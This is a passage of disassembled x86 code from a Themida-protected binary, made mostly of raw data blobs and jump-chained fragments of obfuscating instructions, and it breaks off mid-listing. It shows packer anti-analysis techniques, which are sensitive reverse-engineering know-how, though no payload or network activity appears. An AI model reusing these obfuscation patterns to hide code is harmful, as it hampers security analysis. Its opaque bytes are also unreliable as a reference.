5C240C87h, 5C24048Fh, 8B2434FFh dd 5455240Ch, 0E9242C8Bh, 5E24h, 0BE243489h, 292B05B1h dd 1A4ECE81h, 0EE816DDBh, 691511B1h, 348BF531h, 4C48124h dd 29000000h, 242C8BE8h, 8104C483h, 0D81CD4EBh, 510D687Eh dd 2BE90000h, 810000ACh, 4C2h, 24148700h, 4EC815Ch, 89000000h dd 0E6892434h, 4C58B850h, 4040408Dh, 4EC81h, 14890000h dd 0BF575324h, 5D2A3622h, 0E95FFB89h, 8E47h, 882DEA80h dd 0EB305AD5h, 83240C8Bh, 0E95004C4h, 4480h, 8BEA895Ah dd 77E9242Ch, 660000A2h, 0E924048Bh, 5976h ; --------------------------------------------------------------------------- loc_506984: ; CODE XREF: Themida_:00514968j add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub ebp, 22C8526Eh sub ebp, 1AFE4367h add ebp, ecx add ebp, 1AFE4367h add ebp, 22C8526Eh pop ecx xor ebp, [esp] xor [esp], ebp jmp loc_500314 ; --------------------------------------------------------------------------- aRsh db '[RH',0 db 0 ; --------------------------------------------------------------------------- loc_5069C5: ; CODE XREF: Themida_:00512C77j push esi mov esi, 66E254EAh add [esp+8], esi mov esi, [esp] jmp loc_50344C ; --------------------------------------------------------------------------- loc_5069D7: ; CODE XREF: Themida_:00507B43j pop esp mov [esp], edi push 7D716294h pop edi xor edi, 4EB86720h jmp loc_5018A0 ; --------------------------------------------------------------------------- loc_5069EC: ; CODE XREF: Themida_:00500CBEj mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx add ebx, 4 jmp loc_50C9CB ; --------------------------------------------------------------------------- db 57h dd 0F889DF89h, 6C8AE95Fh, 0E9530000h, 0FFFFD627h, 0E20B05BDh dd 246C8129h, 0B81B4404h, 253EE909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506A22: ; CODE XREF: Themida_:0050CD5Cj push edi push dword ptr [esp+4] pop edi jmp loc_50D7F7 ; --------------------------------------------------------------------------- db 68h, 7Ch, 3Dh dd 14890000h, 65D8BA24h, 0D1312F5Fh, 1150E9h, 0E9815E00h dd 2D767254h, 0C181F901h, 2D767254h, 62B4C181h, 55F1ECDh dd 1A4258Bh, 8B2DC801h, 5901A425h, 0BF57D001h, 4FEF0620h dd 0C4F7BA52h, 0D729169Eh, 0FF95D8E9h, 88E781FFh, 0E97DD218h dd 0FFFFF363h, 0B7C3805Ch, 0E2E9C300h, 5C00007Ah, 24048F54h dd 4BF57h, 0E9560000h, 0A6EFh, 0F8045B2Ch, 26E9D828h db 0A1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_506AAB: ; CODE XREF: Themida_:00503D88j xor [esp], edx xor edx, [esp] pop esp or eax, eax jmp loc_505E23 ; --------------------------------------------------------------------------- aAF db '\',0 aFrFaQhkv db 'fRqhkV',0 dw 8900h dd 0E952240Ch, 1C3Ch ; --------------------------------------------------------------------------- loc_506AD4: ; CODE XREF: Themida_:005057E6j xor ebx, 47F62964h and edx, ebx mov ebx, [esp] add esp, 4 jmp loc_50F294 ; --------------------------------------------------------------------------- loc_506AE7: ; CODE XREF: Themida_:005095A4j add ebx, edx pop edx add ebx, eax push ebp jmp loc_5040F8 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 4C481h, 0E9510000h, 988Bh, 815DEA01h, 4EAh dd 0DF2EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506B12: ; CODE XREF: Themida_:00504457j neg edx sub edx, 0A47C9E4Ah jmp loc_50786C ; --------------------------------------------------------------------------- loc_506B1F: ; CODE XREF: Themida_:00502F84j sub edi, 5C2019B1h shr edi, 2 sub edi, 2E6F1BC2h add ebx, edi jmp loc_511932 ; --------------------------------------------------------------------------- loc_506B35: ; CODE XREF: Themida_:00502521j mov esp, [esp] sub esp, 4 mov [esp], ebx jmp loc_50AF32 ; --------------------------------------------------------------------------- db 89h dd 74FF240Ch, 0C8B0424h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 0E924048Fh, 0D3AEh ; --------------------------------------------------------------------------- loc_506B68: ; CODE XREF: Themida_:00502C67j add [esp+8], edi pop edi add dword ptr [esp+4], 7AA840FFh add dword ptr [esp+4], 64723E54h add [esp+4], edi sub dword ptr [esp+4], 64723E54h sub dword ptr [esp+4], 7AA840FFh sub dword ptr [esp+4], 1F9A3E1Eh mov edi, [esp] add esp, 4 jmp loc_5131C7 ; --------------------------------------------------------------------------- db 0FEh dd 80C1FEC1h, 0CF28E3C1h, 80596659h, 0F78057E7h, 230459h dd 5B232CF8h, 285CB353h, 0EC835BD8h, 0F9EEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506BCE: ; CODE XREF: Themida_:005089CEj add ebx, edx add ebx, 65277CBDh pop edx sub ebx, 4423F2ABh sub esi, 125E5BBDh jmp loc_5047C9 ; --------------------------------------------------------------------------- dd 80FDEB80h, 0D93060F3h, 81241C8Bh, 4C4h, 0B0E3E900h dd 0DA010000h, 0BDC2815Bh, 682C1B49h, 0E59h, 0FF9F61E9h dd 2CE828FFh, 4EC8133h, 89000000h, 1EE9241Ch, 6800001Ah dd 6583h, 0FFB89EE9h, 8BE4E9FFh, 26BFFFFFh, 2975E7D2h dd 0B8505DEFh, 9C859B1Dh, 0E958C589h, 1ACFh, 36ABC181h dd 575D7A0Bh, 240AE9h, 8BBCE900h, 489FFFFh, 642B6824h dd 26E90000h, 66000028h, 208BB151h, 0C8B66CAh, 2C48124h dd 80000000h, 0D0005CF2h, 8324148Bh, 482C04C4h, 0E368D800h dd 0E900007Eh, 152Eh, 0C8B8840Fh, 56510000h, 0D5C6853h dd 59E94F0Fh, 580000D2h, 508E0C1h, 60E0CB04h, 8158C789h dd 0E04CCEBh, 0DDB9E920h, 0EF810000h, 0E673B766h, 0E95F5B57h dd 0FFFFC3D5h, 4C4835Dh, 4BF57h, 0F8010000h, 2404335Fh dd 0E9240431h, 0FFFF8E8Fh ; --------------------------------------------------------------------------- loc_506CE0: ; CODE XREF: Themida_:00500980j push ebp push edx mov edx, 2E116D29h shr edx, 1 push esi mov esi, 7E8075D6h or edx, esi pop esi sub edx, 7936A092h push edi mov edi, edx mov ebp, edi pop edi jmp loc_506201 ; --------------------------------------------------------------------------- db 68h dd 0AEAh, 0E9240C89h, 4D11h, 1D44C181h, 0C1810D23h, 0B141CE80h dd 0E959CD01h, 5658h, 5AD3015Eh, 31241C33h, 1C33241Ch dd 24248B24h, 68C8B70Fh, 1D53h, 0E9240C89h, 0FFFF8AD2h dd 83241C8Bh, 0CEE904C4h db 0DBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_506D4F: ; CODE XREF: Themida_:005122B6j mov eax, 77C83AB5h jmp loc_503228 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aS_n db '\_',0 align 2 aSs_0 db 'S-%',0 align 4 dd 4EC81h, 34890000h, 0FD895524h, 0AFE0E9h, 0FFF20100h dd 835E2434h, 148704C4h, 4E95C24h, 0BE000097h, 7CA21650h dd 411DC681h, 0F0899F04h, 58C1215Eh, 8104E9C1h, 3F6233F1h dd 0FFC8297Eh, 68592434h, 7199h, 54243489h, 4BB535Eh, 1000000h dd 3307E9DEh, 34FF0000h, 0D8E95824h, 81000050h, 4C1h, 4C18100h dd 87000000h, 685C240Ch, 73F7h, 0FF243489h, 8B042474h dd 7FE92434h, 0FF000069h, 575A2434h, 89E9E789h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_506DFB: ; CODE XREF: Themida_:005023CAj mov bl, cl jmp loc_507D30 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C48158h, 68000000h, 3D8Bh, 54241489h, 5355535Ah dd 0DB5689BBh, 7F9DBD6Eh, 4DE9CE0Bh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506E2B: ; CODE XREF: Themida_:0050D8C0j not edi xor eax, edi xor edi, eax xor eax, edi xor [esp], eax xor eax, [esp] xor [esp], eax jmp loc_50FDA4 ; --------------------------------------------------------------------------- loc_506E41: ; CODE XREF: Themida_:0050D360j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_510B4B ; --------------------------------------------------------------------------- dd 4E2FE981h, 0FEE966A0h, 33000031h, 665C2434h, 2404BB0Fh dd 0E913E99Ch, 0CA81FFFFh, 1C6C6E0Eh, 0E955574Ah, 471Ch ; --------------------------------------------------------------------------- loc_506E78: ; CODE XREF: Themida_:00514571j mov ecx, 4 jmp loc_506323 ; --------------------------------------------------------------------------- dw 0C181h dd 4D83EDC1h, 0C8BCF31h, 0E7895724h, 4C781h, 0C7810000h dd 4, 0FFA7AEE9h, 0E9E389FFh, 5625h ; --------------------------------------------------------------------------- loc_506EA8: ; CODE XREF: Themida_:0050AB70j push edx push esi mov esi, 1B6C455Ch mov edx, 68106C10h xor edx, esi jmp loc_4FFFF7 ; --------------------------------------------------------------------------- db 5Eh dd 8B24048Fh, 48F2424h, 24248B24h, 9C240401h, 0FF8945E9h db 0FFh ; --------------------------------------------------------------------------- loc_506ED1: ; CODE XREF: Themida_:0050BDC6j pop esp jmp loc_510FB7 ; --------------------------------------------------------------------------- loc_506ED7: ; CODE XREF: Themida_:00501201j sub edx, ebp add edx, 0CB965A5h pop ebp xor edx, [esp] jmp loc_511479 ; --------------------------------------------------------------------------- dd 24048F54h, 4240483h, 618FE95Ah, 148A0000h, 4C48324h dd 70ABE9h, 2DF80100h, 107140DFh, 68E0D15Fh, 274Eh, 0BA241489h dd 64FD713Eh, 2414F752h, 0E4F2815Ah, 98448ABh, 89535AD0h dd 0CC56E9E3h, 31AD0000h, 23DC68D8h, 3C890000h, 984F6824h dd 34FF0C98h, 0C4835F24h, 0E5D4E904h, 8B66FFFFh, 70E92404h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_506F53: ; CODE XREF: Themida_:00511B5Bj push 7697h mov [esp], ecx push edi mov edi, 17641EE6h add edi, 2B005C84h jmp loc_50D7AC ; --------------------------------------------------------------------------- dd 2404335Ch, 33240431h, 0C8E92404h, 0FF0000ADh, 48B2434h dd 4C48324h, 8104C483h, 4C4h, 4EC8100h, 89000000h, 0E2892414h dd 3D56BF57h, 0E7D1130Fh, 0C2ADE9h, 8CC98100h, 5617F42Ah dd 0E32DB2BEh, 0D5EE816Eh, 81787B59h, 0BD6AE1E6h, 2CF68119h dd 0E93B453Eh, 8614h, 42474FFh, 142AE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_506FD2: ; CODE XREF: Themida_:0050D338j push edx jmp loc_512C1D ; --------------------------------------------------------------------------- dd 0F7885350h, 525BFC88h, 0C50CE9h db 0 ; --------------------------------------------------------------------------- loc_506FE5: ; CODE XREF: Themida_:00507166j add esp, 4 add edx, 4 jmp loc_50E8C5 ; --------------------------------------------------------------------------- dw 0E9C1h dd 8AE905h, 0C4830000h, 4EC8304h, 0B8240489h, 3A77238Bh dd 0E360F635h, 5D8F702h, 715A5043h, 9141740Dh, 4DF2353Fh dd 0C7013FD7h, 9E95358h, 58FFFFABh, 0E95A5452h, 0C667h dd 0E959CE29h, 0FFFFEE14h, 0B850h, 0BCE90000h, 2D00008Ch dd 401642C3h, 83241C8Bh, 0C38104C4h, 2C9923E9h, 0EB81C301h dd 2C9923E9h, 0D141E958h, 0E3050000h, 2D09782Eh, 0B708FA83h dd 5FD2E9h, 59CA8800h, 0FFCDBAE9h db 0FFh ; --------------------------------------------------------------------------- loc_50707D: ; CODE XREF: Themida_:0050E3C1j push esi push 95658E9h jmp loc_50B486 ; --------------------------------------------------------------------------- dd 795EF181h, 0CB010259h, 4C38359h, 5C241C87h, 0FF8779E9h db 0FFh ; --------------------------------------------------------------------------- loc_50709D: ; CODE XREF: Themida_:00511EDBj add dword ptr [esp], 4 jmp loc_510F4A ; --------------------------------------------------------------------------- dw 5F58h dd 83240C8Bh, 535604C4h, 3913BB66h, 88F38166h, 53665566h dd 0BF665766h, 2966421Bh, 0E902247Ch, 7F7Bh ; --------------------------------------------------------------------------- loc_5070CC: ; CODE XREF: Themida_:0050550Fj add edi, esi jmp loc_510E32 ; --------------------------------------------------------------------------- db 33h dd 3C31243Ch, 243C3324h, 8424248Bh, 1CE99CC8h, 0F7FFFFAFh dd 65EB81D3h, 81B27C86h, 6211ABE9h, 81D90141h, 6211ABC1h dd 0B3685B41h, 8900005Fh, 74FF240Ch, 8F590424h, 248B2404h dd 0CFF6624h, 0FBE99C24h, 5FFFF86h, 42B35B6h, 0B62DE801h dd 52042B35h, 871A6BBAh, 0E9D00120h, 14EDh ; --------------------------------------------------------------------------- loc_507134: ; CODE XREF: Themida_:00507DEDj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5126D3 ; --------------------------------------------------------------------------- dd 68F2E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50714E: ; CODE XREF: Themida_:00503E57j add edx, 775F45EEh add edx, ecx sub edx, 775F45EEh sub edx, 2CBD0686h pop ecx mov esi, [esp] jmp loc_506FE5 ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 5497BA24h, 0F28115CEh, 1B8D5C6Fh, 148BD301h dd 4C48324h, 2700C381h, 0B9511F17h, 7BA67F15h, 159CB29h dd 15C381C3h, 817BA67Fh, 172700EBh, 0EDE3E91Fh, 0ED80FFFFh dd 0E9E830DDh, 544Ah ; --------------------------------------------------------------------------- loc_5071B0: ; CODE XREF: Themida_:005096D9j pop edi pop esi jmp loc_4FFC76 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048F00h, 8650E95Ch, 0E95EFFFFh, 0FFFFABEBh ; --------------------------------------------------------------------------- loc_5071CC: ; CODE XREF: Themida_:00501F19j mov [esp], ebp push ebx mov ebx, 472C56EBh add ebx, 2E903652h xor ebx, 4032234Bh not ebx add ebx, 640EDE4Ah mov ebp, ebx pop ebx add edx, 0DBB643Bh add edx, ebp push edi mov edi, 1DCD59DCh add edi, 4B101338h jmp loc_503BC0 ; --------------------------------------------------------------------------- loc_507205: ; CODE XREF: Themida_:00509424j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx pop eax jmp loc_5105EB ; --------------------------------------------------------------------------- aZuSSpg db 'ZU^s',1Bh,'鏃',0 align 4 aSBsr db 'S',0 align 10h loc_507230: ; CODE XREF: Themida_:00510EBFj shr ebx, 5 or ebx, 2A512C37h sub ebx, 0CDE17637h jmp loc_509D88 ; --------------------------------------------------------------------------- loc_507244: ; CODE XREF: Themida_:005050A0j mov [esp], esi jmp loc_50B589 ; --------------------------------------------------------------------------- loc_50724C: ; CODE XREF: Themida_:00512E2Aj xchg eax, [esp] mov esp, [esp] push ebp jmp loc_507D60 ; --------------------------------------------------------------------------- dd 240C8B66h, 16F868h, 0A0BDE900h, 982DFFFFh, 29FAB226h dd 0E95958C5h, 0FFFFB2D5h, 240C8B66h, 7F826853h, 24890000h dd 24048124h, 4, 0EC81525Bh, 4, 0E9242C89h, 0FFFFC8AEh ; --------------------------------------------------------------------------- loc_507298: ; CODE XREF: Themida_:00510287j add esp, 4 jmp loc_50642A ; --------------------------------------------------------------------------- loc_5072A3: ; CODE XREF: Themida_:0050F73Ej xor ebp, edi pop edi add ebp, 60992B6Bh push esi mov esi, 0DA2A39B9h jmp loc_5011F8 ; --------------------------------------------------------------------------- aI4SC db '4$c',0 db 0 ; --------------------------------------------------------------------------- loc_5072BF: ; CODE XREF: Themida_:00502C44j pop esi add esi, 1D5A01BBh sub esi, 5477245Ah add edx, esi pop esi jmp loc_50EDA2 ; --------------------------------------------------------------------------- dd 0D003E8C0h, 5B652E8h, 5AF028h, 16E958C1h, 680000B4h dd 430Dh, 0E9243489h, 0C768h, 0E3E9DFB7h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5072FB: ; CODE XREF: Themida_:00502A6Dj shr edi, 4 add edi, 71C67073h sub edx, 7ABD7246h jmp loc_5014F6 ; --------------------------------------------------------------------------- db 53h dd 89436CBBh, 13BDE911h, 53570000h, 4EC81h, 3CE90000h dd 100006Eh, 5D04246Ch, 0FF2434FFh, 515D2434h, 0C181E189h dd 4, 8704C183h, 0E95C240Ch, 0C6C4h ; --------------------------------------------------------------------------- loc_507348: ; CODE XREF: Themida_:0050D288j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi jmp loc_50015C ; --------------------------------------------------------------------------- dw 602Dh dd 5B785839h, 399DC381h, 0E9576D73h, 0FFFFF1D5h ; --------------------------------------------------------------------------- loc_507370: ; CODE XREF: Themida_:0050C6A7j push esi mov esi, esp add esi, 4 jmp loc_501CD3 ; --------------------------------------------------------------------------- dw 0C781h dd 499D71D8h, 0F7CEF81h, 0C7014530h, 39FEE9h, 54515E00h dd 7BAFE9h, 5DEB2900h, 45E9D901h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5073A3: ; CODE XREF: Themida_:0050E68Dj pop esp loc_5073A4: ; CODE XREF: Themida_:loc_50A956j push 53A2h mov [esp], ebx push esi push esp pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push esi mov esi, 4 sub ecx, esi push dword ptr [esp] pop esi jmp loc_50EC63 ; --------------------------------------------------------------------------- dw 15Bh dd 242C8BE8h, 0E904C483h, 0CA94h, 0E92434FFh, 8262h, 489068h dd 0AEF5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50740A: ; CODE XREF: Themida_:0050DA96j push cx push eax mov al, 0Dh and al, 70h add al, 0AEh jmp loc_503E3E ; --------------------------------------------------------------------------- dd 4C481h, 0E3810000h, 3E296130h, 4024F381h, 0D8891C28h dd 0F6E9815Bh, 130776Fh, 63E957C1h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50743B: ; CODE XREF: Themida_:0050C6D1j sub edx, 4 xchg edx, [esp] jmp loc_502038 ; --------------------------------------------------------------------------- dw 2B68h dd 0E9000064h, 0FFFFC043h, 0C104C483h, 26E906E1h, 51000042h dd 0EE197AB9h, 59CA0138h, 57243C8Bh, 0CDB1E954h, 148BFFFFh dd 5A545224h, 4C281h, 0C2E90000h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50747F: ; CODE XREF: Themida_:005147F5j mov edx, 26CC4797h jmp loc_513873 ; --------------------------------------------------------------------------- loc_507489: ; CODE XREF: Themida_:0051387Dj xchg esi, edx xchg ecx, esi inc ecx xchg ecx, esi xchg esi, edx xor edx, 14B557BFh xor edx, 7348185Bh add ebp, 1D90004h add ebp, edx sub ebp, 1D90004h pop edx push 58AEh jmp loc_50B9E4 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0A0E95200h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5074C3: ; CODE XREF: Themida_:00508914j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg edi, [esp] pop esp mov [esp], ebp sub esp, 4 push esp jmp loc_50D1FD ; --------------------------------------------------------------------------- loc_5074E5: ; CODE XREF: Themida_:0050A3E2j shr ecx, 7 add ecx, 5D885855h mov edx, ecx pop ecx sub edx, 7A66501Ch xor ecx, edx jmp loc_5060CE ; --------------------------------------------------------------------------- dw 672Ch dd 6704D828h, 2EC81h, 89660000h, 0D7E92414h, 3Fh, 285866C2h dd 2BE1E9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50751E: ; CODE XREF: Themida_:0050C448j mov [esp], ebp push 3A583EBEh push dword ptr [esp] pop ebp jmp loc_50E1E7 ; --------------------------------------------------------------------------- db 0C1h dd 0F28102E2h, 81BCB740h, 8904EC83h, 0EC83240Ch, 0BCB2E904h dd 895C0000h, 0E9572404h, 0FFFFA31Bh ; --------------------------------------------------------------------------- loc_507550: ; CODE XREF: Themida_:005082F9j push ecx mov ch, 3 xor ch, 21h or ch, 7Fh add ch, 0FCh sub bl, ch jmp loc_50B3F4 ; --------------------------------------------------------------------------- loc_507563: ; CODE XREF: Themida_:0050FB09j add esp, 4 jmp loc_50A4F4 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 5C241487h, 83240401h, 2C8904ECh, 0F48AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507586: ; CODE XREF: Themida_:00504CFEj mov esi, [esp] jmp loc_5012F4 ; --------------------------------------------------------------------------- dw 9ABBh dd 0C168F85Fh, 0F38107E3h, 6BE97742h, 0F7E3D14Bh, 2AF381DBh dd 0E9B028F2h, 0FFFFD04Ch ; --------------------------------------------------------------------------- loc_5075AC: ; CODE XREF: Themida_:005126F8j mov [esp], eax jmp loc_50548E ; --------------------------------------------------------------------------- dd 7006BEBFh, 6E7C164h, 1366E781h, 0AE93150h, 8B0000D5h dd 5E9240Ch, 2D000072h, 4EB43DA6h, 733BBE56h, 6CE93CBCh dd 35000098h, 233B3AA8h, 0E958C389h, 0FFFFBB13h, 0E368F5B0h dd 89000061h, 0F1B5240Ch, 3059E828h, 0D73BE9C1h, 8B66FFFFh dd 0EC81240Ch, 4, 0E9241489h, 0FFFF8F7Eh ; --------------------------------------------------------------------------- loc_507614: ; CODE XREF: Themida_:00500AEFj mov [esp], edx mov edx, esp jmp loc_513444 ; --------------------------------------------------------------------------- loc_50761E: ; CODE XREF: Themida_:00501AEBj xchg ebx, [esp] mov esp, [esp] jmp loc_509735 ; --------------------------------------------------------------------------- db 5Ah, 55h, 56h dd 1E28BFBEh, 9FBBE926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507636: ; CODE XREF: Themida_:005014C9j xor ecx, 30D9671Dh add ebp, 4DD00D0Dh add ebp, ecx push ebx jmp loc_50580B ; --------------------------------------------------------------------------- dw 1489h dd 8D27E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507652: ; CODE XREF: Themida_:00503476j mov esi, 43BA519Ch add [esp+8], esi pop esi push dword ptr [esp] push dword ptr [esp] pop edi jmp loc_50BB5F ; --------------------------------------------------------------------------- dd 85FFFDBDh, 76B6E900h, 81560000h, 28EF2404h, 0A3E92482h dd 310000A5h, 0C6815FFEh, 179F566Dh, 209DEE81h, 0CE816BDCh dd 78E21FBEh, 7FF5BF57h, 0FE31DE5Dh, 81243C8Bh, 4C4h, 8326E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5076AA: ; CODE XREF: Themida_:0050B393j shr eax, 7 push ebx jmp loc_51420E ; --------------------------------------------------------------------------- db 81h dd 0C47DA4C1h, 236D05FDh, 542D1B49h, 11CA169h, 97FAE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5076CA: ; CODE XREF: Themida_:0050BB8Ej pop ecx push edi push esi mov esi, 4 mov edi, esi pop esi push ebp mov ebp, 77560AEBh add esi, ebp mov ebp, [esp] add esp, 4 add esi, edi push eax mov eax, 77560AEBh sub esi, eax pop eax jmp loc_50E98D ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 0FF945EE9h db 0FFh ; --------------------------------------------------------------------------- loc_507709: ; CODE XREF: Themida_:0050B156j mov ecx, 658A42B2h sub ecx, 4308F0A3h mov edx, ecx jmp loc_513ACB ; --------------------------------------------------------------------------- loc_50771B: ; CODE XREF: Themida_:00510094j pop edx add esp, 4 sub edi, 0EF31E7FCh add esi, edi mov edi, [esp] add esp, 4 push 2E7Ah mov [esp], ebp mov ebp, 4 add esi, 2CC038B6h push ebx mov ebx, 0C320079h inc ebx jmp loc_5140DD ; --------------------------------------------------------------------------- loc_50774C: ; CODE XREF: Themida_:0050D6B5j inc esi push ebx jmp loc_510EED ; --------------------------------------------------------------------------- loc_507753: ; CODE XREF: Themida_:00504A76j add edi, 4 push edx mov edx, 5B475430h neg edx shr edx, 7 xchg eax, edx not eax xor edx, eax xor eax, edx xor edx, eax push ebp mov ebp, 0FEB68EA4h jmp loc_5032E3 ; --------------------------------------------------------------------------- loc_507778: ; CODE XREF: Themida_:005130CDj neg ebp push ecx mov ecx, 699A3E2Eh xor ebp, ecx pop ecx xor ebp, 55197450h add eax, ebp pop ebp mov esi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_51254B ; --------------------------------------------------------------------------- loc_5077A4: ; CODE XREF: Themida_:005143B6j pop ecx not ecx inc ecx shr ecx, 2 push esi mov esi, 1667303Ch dec esi xor esi, 0FF56B43h xor ecx, esi pop esi mov eax, ecx jmp loc_500DED ; --------------------------------------------------------------------------- dw 481h dd 424h, 7E80E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5077CE: ; CODE XREF: Themida_:0050EF43j pop esp jmp loc_50A430 ; --------------------------------------------------------------------------- dd 6FE3E981h, 815E678Fh, 0DD28C6E9h, 0B0C581EFh, 1566C1Eh dd 45E8E9CDh, 565C0000h, 0EC83E689h, 24148904h, 4BAh, 5AD60100h dd 4902E9h db 0 ; --------------------------------------------------------------------------- loc_507805: ; CODE XREF: Themida_:0050E375j neg ebp jmp loc_5038C7 ; --------------------------------------------------------------------------- loc_50780C: ; CODE XREF: Themida_:0050D8F2j pop dword ptr [esp] jmp loc_5031E2 ; --------------------------------------------------------------------------- dd 83240C8Bh, 1C3304C4h, 1EDE924h, 0F2810000h, 25060C58h dd 68E2D142h, 0 dd 5A241429h, 53B95142h, 29A5EFC2h, 2B7E9CAh, 0C890000h dd 1387B924h, 0B6E9C165h db 0BDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50784F: ; CODE XREF: Themida_:005122C6j mov ecx, esp jmp loc_512470 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815B24h, 4, 7DBBE9h, 0E95D6600h, 9587h ; --------------------------------------------------------------------------- loc_50786C: ; CODE XREF: Themida_:00506B1Aj sub edi, 55CE0A26h jmp loc_50D3A3 ; --------------------------------------------------------------------------- loc_507877: ; CODE XREF: Themida_:0050C9E0j mov ecx, esi jmp loc_513BD0 ; --------------------------------------------------------------------------- loc_50787E: ; CODE XREF: Themida_:005088A9j pop esi push edx jmp loc_50E4B0 ; --------------------------------------------------------------------------- loc_507885: ; CODE XREF: Themida_:00509539j add edx, ebp pop ebp not edx neg edx sub esp, 4 mov [esp], ebx mov ebx, 16DF7454h push ebp jmp loc_504AB3 ; --------------------------------------------------------------------------- aZystt db 'ZY钒',0 dw 8000h dd 0DD2092F3h, 81241C8Bh, 4C4h, 2EDC000h, 0EE885266h, 0F588CEFEh dd 0FF8E65E9h, 0E9C501FFh, 0FFFFBF89h ; --------------------------------------------------------------------------- loc_5078CC: ; CODE XREF: Themida_:005036D4j shr ecx, 2 sub esp, 4 jmp loc_50237C ; --------------------------------------------------------------------------- dw 1CF6h dd 33E99C24h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5078E3: ; CODE XREF: Themida_:00505F43j add esp, 4 not ebx shl ebx, 8 jmp loc_505595 ; --------------------------------------------------------------------------- db 21h dd 24048BC1h, 0E904C483h, 6465h, 88F2EE80h, 0CC885AF1h dd 0C0DCF659h, 0E4C007ECh, 4EC8102h, 89000000h, 0BAB3241Ch dd 0FFDC1BE9h, 8BC121FFh, 0C4812404h, 4, 10FCF181h, 0CB0128C2h dd 0FFEC60E9h, 0E9D3F7FFh, 97B1h, 0AC05D801h, 2D60C300h dd 5A970B9Fh, 0F868h, 240C8900h, 81218468h, 240C8B55h dd 6177E9h, 2434FF00h, 0E9240C8Bh, 0FFFFBDA2h, 59CFBF57h dd 0EF813FA6h, 798D2F1Eh, 241BE781h, 0E78108DDh, 726E3087h dd 63FCE781h, 0F7810025h, 3C5B2C02h, 0FFF325E9h, 8096B1FFh dd 0E18000E9h, 0F205E93Dh, 815FFFFFh, 344271EAh, 4917E908h dd 0C4810000h, 4, 8B2434FFh, 0C4832414h, 0CC3DE904h, 433FFFFh dd 24248B24h, 9C2424D2h, 0FF7E45E9h, 5AC181FFh, 0E9BB8FCDh dd 0FFFFD470h, 24148B59h, 0E9595451h, 3E33h, 0FFDA895Ch dd 835B2434h, 2D5F04C4h, 17B85417h, 96E1E9h, 35C96800h dd 4890000h, 1076824h, 0EFE90000h, 3100000Eh, 1C33241Ch dd 0EC815C24h, 4, 51241C89h, 623568h, 241C8900h, 6DF2E951h dd 0D0010000h, 10942D5Ah, 0D001700Dh, 0D109405h, 13FF2D70h dd 0A2E93E6Ah, 0ACFFFFB0h, 4F2CA204h, 6BE98C2Ch, 8300003Ch dd 0C8904ECh, 1E706824h, 1C890000h, 0C651E924h, 0E580FFFFh dd 0FEC5FE79h, 76B353C5h, 2C5BDD30h, 994DE970h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507A7A: ; CODE XREF: Themida_:00510EE8j xor edi, 2FE35133h add edi, 9F6CBFA2h sub ecx, edi pop edi add edi, 25D94D73h sub edi, ecx push edx mov edx, 25D94D73h sub edi, edx pop edx mov ecx, [esp] jmp loc_50B03A ; --------------------------------------------------------------------------- dw 0F001h dd 3F3E362Dh, 0DF39E973h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507AAE: ; CODE XREF: Themida_:0050F6E0j mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 4B98h mov [esp], esi push esp push dword ptr [esp] pop esi jmp loc_50F9F6 ; --------------------------------------------------------------------------- db 21h, 0F8h, 5Fh dd 41E3BE56h, 0EE814F35h, 665F02A4h, 0FF9C75E9h, 1D7BB9FFh dd 0E9C121CAh, 49D1F707h, 0FFDF7AE9h, 0D68959FFh, 8324148Bh dd 0C58104C4h, 36AA1274h, 0FFA559E9h db 0FFh ; --------------------------------------------------------------------------- loc_507B0D: ; CODE XREF: Themida_:00510CA4j 